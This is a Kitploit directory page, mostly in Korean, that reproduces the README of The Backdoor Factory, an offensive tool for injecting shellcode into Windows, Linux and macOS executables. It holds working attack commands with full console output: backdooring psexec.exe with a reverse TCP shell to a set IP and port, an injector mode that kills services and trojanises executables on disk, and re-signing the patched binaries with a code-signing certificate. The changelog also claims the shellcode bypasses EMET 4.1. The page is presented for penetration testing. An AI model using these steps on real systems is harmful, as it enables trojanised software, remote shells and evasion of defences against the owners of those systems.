Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
the-backdoor-factory — 셸코드로 PE, ELF, Mach-O 바이너리를 패치합니다. 새 버전은 개발 중이며 스폰서에게만 제공됩니다. | Kitploit
도구/GitHubGitHub/secretsquirrel/the-backdoor-factory
ExploitationReverse EngineeringShellcodePost-ExploitationMalware AnalysisPenetration TestingRed TeamingPayload DevelopmentBinary Exploitation
GitHubsecretsquirrel/the-backdoor-factory

the-backdoor-factory

셸코드로 PE, ELF, Mach-O 바이너리를 패치합니다. 새 버전은 개발 중이며 스폰서에게만 제공됩니다.

3.4k7742년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기웹사이트

BACKDOOR FACTORY의 새 버전을 사용할 수 있습니다! 여기에서 액세스하세요: https://github.com/sponsors/secretsquirrel

경고: Pull Request는 무시되고 닫힙니다.

The Backdoor Factory (BDF)

보안 전문가와 연구자 전용입니다.

BDF의 목표는 사용자가 원하는 셸코드를 실행 가능한 바이너리에 패치하고 패치 전 상태의 정상적인 실행을 계속하는 것입니다.

Join the chat at https://gitter.im/secretsquirrel/the-backdoor-factory Black Hat Arsenal

Black Hat USA 2015:

root@kitploit:~
Video: https://www.youtube.com/watch?v=OuyLzkG16Uk

Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

Shmoocon 2015:

root@kitploit:~
Video: https://archive.org/details/joshpitts_shmoocon2015

Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

DerbyCon 2014:

root@kitploit:~
Video: http://www.youtube.com/watch?v=LjUN9MACaTs

DerbyCon 2013:

root@kitploit:~
Video: http://www.youtube.com/watch?v=jXLb2RNX5xs

Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U

Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

개발자에게 연락하려면:

root@kitploit:~
IRC:
irc.freenode.net #BDFactory 

Twitter:
@midnite_runr

BSD 3-Clause License에 따라 배포됩니다.

위키를 참조하세요: https://github.com/secretsquirrel/the-backdoor-factory/wiki


설치

DOCKER

root@kitploit:~
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

###구식 방법

####의존성 #####OnionDuke를 사용하려면 반드시 Intel 머신이어야 합니다. aPLib는 아직 ARM 칩셋을 지원하지 않기 때문입니다.

Capstone engine은 PyPi에서 다음과 같이 설치할 수 있습니다:

root@kitploit:~
sudo pip install capstone

Pefile, 최신 버전:

root@kitploit:~
https://code.google.com/p/pefile/

osslsigncode (저장소에 포함됨):

root@kitploit:~
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

Kali 설치:

root@kitploit:~
  apt-get update
  apt-get install backdoor-factory

기타 *NIX/MAC 설치:

root@kitploit:~
./install.sh

이 스크립트는 pefile 설치를 위해 pip 3.01로 Capstone을 설치합니다.

업데이트:

root@kitploit:~
./update.sh

지원 대상:

root@kitploit:~
Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32), 
and Mach-O x86/x64 and those formats in FAT files

Packed Files: PE UPX x86/x64

Experimental: OpenBSD x32 

일부 실행 파일에는 기본 제공 보호 기능이 있으므로 이 도구는 모든 바이너리에서 작동하지 않습니다. 대상 바이너리를 고객에게 배포하거나 실습에 사용하기 전에 테스트하는 것이 좋습니다. NSIS 우회를 거의 구현해 가는 중이며, 이러한 검사 우회 기능은 향후 포함될 예정입니다.

root@kitploit:~
Many thanks to Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Without him, I would still be trying to do stupid things 
with the elf format.
Also thanks to Silvio Cesare with his 1998 paper 
(http://vxheaven.org/lib/vsc01.html) which these ELF patching
techniques are based on.

최근 많은 바이너리에서 테스트되었습니다.

./backdoor.py -h Usage: backdoor.py [options]


##기능:

###PE 파일

root@kitploit:~
Can find all codecaves in an EXE/DLL.
By default, clears the pointer to the PE certificate table, thereby unsigning a binary.
Can inject shellcode into code caves or into a new section.
Can find if a PE binary needs to run with elevated privileges.
When selecting code caves, you can use the following commands:
  -Jump (j), for code cave jumping
  -Single (s), for patching all your shellcode into one cave
  -Append (a), for creating a code cave
  -Ignore (i or q), nevermind, ignore this binary
Can ignore DLLs
Import Table Patching
AutoPatching (-m automtic)
Onionduke (-m onionduke)

###ELF 파일

root@kitploit:~
Extends 1000 bytes (in bytes) to the TEXT SEGMENT and injects shellcode into that section of code.

###Mach-O 파일 Pre-Text Section patching and signature removal

###전체

root@kitploit:~
The user can :
  -Provide custom shellcode.
  -Patch a directory of executables/dlls.
  -Select x32 or x64 binaries to patch only.
  -Include BDF is other python projects see pebin.py and elfbin.py

샘플 사용법:

###기존 코드 케이브를 사용하여 exe/dll 패치하기:

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###코드 섹션을 추가하여 exe/dll 패치하기:

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###exe 디렉토리 패치하기: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...output too long for README...


###사용자 제공 셸코드: msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.


###PE 코드 서명

BDF는 코드 서명 인증서가 있으면 PE 파일에 서명할 수 있습니다. osslsigncode를 사용합니다.

서명 인증서와 개인 키를 certs/ 디렉토리에 넣으세요. 이 블로그 게시물의 openssl 명령을 사용하여 인증서를 준비하세요: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

개인 키 비밀번호를 파일에 다음과 같이 (정확히 다음과 같이) 넣으세요:

root@kitploit:~
echo -n yourpassword > certs/passFile.txt

인증서 이름을 다음과 같이 정확히 지정하세요:

root@kitploit:~
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

certs/ 디렉토리는 정확히 다음과 같아야 합니다:

root@kitploit:~
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

다음과 같이 -C 플래그로 PE 코드 서명을 활성화하세요:

root@kitploit:~
 ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C

성공적으로 실행되면 BDF 출력에서 다음 줄을 볼 수 있습니다:

root@kitploit:~
[*] Code Signing Succeeded

###사냥 및 백도어: 인젝터 | Windows 전용 The injector module will look for target executables to backdoor on disk. It will check to see if you have identified the target as a service, check to see if the process is running, kill the process and/or service, inject the executable with the shellcode, save the original file to either file.exe.old or another suffix of choice, and attempt to restart the process or service.
Edit the python dictionary "list_of_targets" in the 'injector' module for targets of your choosing.

root@kitploit:~
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow 

###변경 내역

####01/11/2016

  • 드물게 발생하는 잘못된 복구로 이어지는 엔트리 포인트 잘림 버그 수정

####07/04/2016

  • 전처리기를 위한 BDFProxy의 동적 경로 지원

####06/19/2016

  • 전처리기 및 기타 최적화 추가
  • 전처리기를 사용하면 페이로드 주입 전에 바이너리를 수정할 수 있습니다
  • -p 플래그로 호출합니다
  • ./preprocessor/에서 샘플을 확인하세요

####12/20/2015

  • BDF에 certs 디렉토리를 찾기 위한 디렉토리 경로 추가

####12/18/2015

  • PE 코드 서명 지원 추가. 자체 코드 서명 인증서를 제공해야 합니다. 여기 참조: https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning

####11/17/2015

  • onionduke 패치의 rsrc 섹션 버그 수정 및 PE 헤더에서 임의의 win32 버전 값 제거

####11/13/2015

  • PE 헤더에서 서명 포인터가 지워진 후 PE 파일을 적절히 잘라내는 기능 추가 - 예: 적절한 서명 제거. 그 결과 IAT 패칭 지원이 개선되었습니다.

####10/19/2015

  • BDF 충돌을 유발하던 IAT 디렉토리 케이브 할당 버그 수정
  • 해당 기능을 -A 플래그로 선택 사항으로 변경

####10/13/2015

  • Import Table Directory 수정 방식을 새 섹션 추가에서 기존 코드 케이브 사용으로 변경

####08/12/2015

  • 'replace' PATCH_METHOD 추가 - 제공된 바이너리를 그대로 복사하는 PE copy pasta 방식

  • BDFProxy와 함께 사용하기 위한 용도

    Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe

####08/11/2015

  • 드문 케이브 중첩 상황에서 자동 케이브 선택 안정성 수정

####08/05/2015

  • BH USA 업데이트, w00t!
  • OnionDuke, -m onionduke 사용 * 사용자가 제공한 exe 및 dll 지원 * 사용법: ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe
  • XP 모드 = 기존 IAT 기반 페이로드는 XP, Wine, Windows 98을 지원하지 않았습니다. XP를 지원해야 한다면 -X 플래그를 사용하세요. XP 미만(및 XP x64 제외)은 지원하지 않습니다.
  • 관리자 권한으로 실행하기 위한 UAC 프롬프트 호출. 실험적 - requestedExecutionLevel이 존재하면 PE 매니페스트를 패치합니다.
  • 안정성 업데이트: * 2개 이상의 코드 케이브를 가로질러 점프할 때 잘못된 RVA 계산 버그 수정 * IAT용 새 섹션이 추가된 데이터에 쓰여져 실패하는지 여부를 더 잘 판별하는 검사 추가
  • 속도 개선: * automatic 모드(-m automatic)에서 더 빠른 코드 케이브 탐색 * 매니페스트 파일을 찾기 위한 더 빠른 rsrc 파싱

####5/01/2015

  • 단일 케이브 페이로드 사용 시 reverse_tcp_stager_threaded 페이로드 버그 수정

####4/28/2015

  • Bound Imports 검사 추가 (바인딩된 임포트가 있는 PE 파일은 패치되지 않습니다)

####4/14/2015

많은 업데이트가 있습니다:

  • PE 파일 자동 패칭 (*_threaded 페이로드와 함께 -m automatic 사용)

  • x86/x64 PE 파일용 새 IAT 페이로드

  • 감상하세요: https://www.youtube.com/watch?v=kkLI_ur6BxY

####2/14/2015 여러분을 사랑합니다 <3

  • winAPI 호출에 임포트 테이블을 사용하는 iat_reverse_tcp 페이로드를 지원하기 위해 PE에 Import Address Table 패칭 추가. 패치 대상 바이너리에 LoadLibraryA와 GetProcAddress가 없는 경우, 예를 들어 BDF는 새 섹션의 새 Import Table에 이를 패치합니다. x64/x86 PE를 지원합니다.

  • x64 PE용 iat_reverse_tcp 추가.

  • 버그 수정 및 개선.

####1/1/2015

새해 복 많이 받으세요!

새 OS X 페이로드 두 가지! delay: delay_reverse_shell_tcp

-B 30 --> 페이로드를 30초 지연시키고, 메인 코드는 즉시 실행됩니다.

BDF에 포함하기 위한 고정된 capstone 커밋 설정, capstone 'Next' 저장소는 BDF를 깨뜨립니다.

cython capstone 구현의 null 바이트 잘림 문제를 지원하는 수정.

####12/27/2014

payloadtests.py 추가

이 스크립트는 사용자가 원하는 대로 페이로드를 테스트할 수 있도록 backdoored 디렉토리에 패치된 파일을 출력합니다. 각 페이로드 유형은 사용되는 포트를 1씩 증가시킵니다.

root@kitploit:~
Usage: payloadtest.py binary HOST PORT

####12/17/2014

x86 및 x64용 OS X 비커닝 페이로드: beaconing_reverse_shell_tcp

-B 15 --> 비컨 시간을 15초로 설정

BDFProxy에서 OS X 지원을 위한 버그 수정

####10/11/2014

PE UPX 패칭 추가

####9/26/2014

Mach-O x86/x64 추가

x86 IAT 페이로드 최적화

####7/31/2014

ARM x32 LE ELF 패칭 지원 추가

####7/22/2014

FreeBSD x32 ELF 패칭 지원 추가

BSD 3-Clause License로 변경

####7/13/2014

Capstone 통합: http://www.capstone-engine.org/

Capstone을 추가하는 과정에서 약 500줄의 코드를 제거했습니다. 꽤 멋집니다.

loadliba_reverse_tcp를 iat_reverse_tcp로 이름 변경.

속도 관련 작은 최적화.

####5/30/2014

새로운 win86 셸코드 추가: loadliba_reverse_tcp

  • Jared DeMott의 다음 연구에 기반: http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- 언급해 주신 @bannedit0에게 감사합니다.
  • 이 셸코드는 LoadLibraryA 및 GetProcAddress API를 사용하여 역방향 TCP 연결에 필요한 모든 API를 찾습니다. Stephen Fewer의 API 해시 조회는 더 이상 필요 없습니다 (여전히 훌륭하지만).
  • 은밀하지 않습니다. 위치 종속적입니다. 하지만 결과는 훌륭합니다 (코드 케이브 점프): https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/
  • EMET 4.1을 우회합니다. 호출자 보호(caller protection)가 이를 잡아내지 못합니다.
  • 따라서 IAT에 있는 API를 기반으로 맞춤형 셸코드로 바이너리를 패치하는 알고리즘으로 이 아이디어를 더 발전시킬 것입니다. 현재 win86 셸코드를 이 아이디어로 포팅하는 것도 포함됩니다.

도구 다운로드